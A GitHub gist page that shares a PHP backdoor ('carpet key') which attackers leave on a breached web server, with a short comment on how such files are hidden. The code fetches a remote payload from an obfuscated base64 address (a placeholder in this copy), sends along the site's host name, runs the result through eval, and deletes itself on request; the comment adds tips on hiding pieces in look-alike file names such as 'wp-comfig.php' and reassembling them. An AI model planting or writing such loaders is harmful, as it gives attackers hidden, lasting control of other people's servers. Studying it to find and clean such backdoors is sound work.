Created
July 21, 2015 22:33
-
-
Save anonymous/e16e44f14aa6a6faf42a to your computer and use it in GitHub Desktop.
A front door carpet key.. #AfterABreach
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function _dlss($url) | |
{ | |
$file_contents = ''; | |
$real_user_agent = $_SERVER['HTTP_USER_AGENT']; | |
if (function_exists('file_get_contents')) { | |
ini_set('user_agent',$real_user_agent); | |
$file_contents = @file_get_contents($url); | |
} | |
if (strlen($file_contents) < 10 && function_exists('curl_init')) { | |
$file_contents = ''; | |
$ch = curl_init(); | |
$timeout = 60; | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); | |
curl_setopt($ch, CURLOPT_USERAGENT, $real_user_agent); | |
$file_contents = curl_exec($ch); | |
curl_close($ch); | |
} | |
return $file_contents; | |
} | |
if (isset($_GET['do'])) { | |
unlink(__FILE__); | |
header("Location :?t"); | |
} else { | |
$groups = 'hu'; | |
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'].($_SERVER['SERVER_PORT']=='80' ? '' : ':'.$_SERVER['SERVER_PORT'])); | |
$host = urlencode($host); | |
$code = _dlss(~base64_decode('_BASE_64_CODE_')); | |
@eval($code); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
After installing shellcode attackers will/may leave a "carpet key" to regain access from uncleaned files. Aside from the tiny bit of base64, the func call itself.. which a preg_grep could replace with a real key the file is quite "clean". *Its not uncommon to store multiple singular lines of innocuous code files littered across a file system with common names like indxe.php, wp-comfig.php, etc.
$cat
them together to reproduce new versions the shellcode..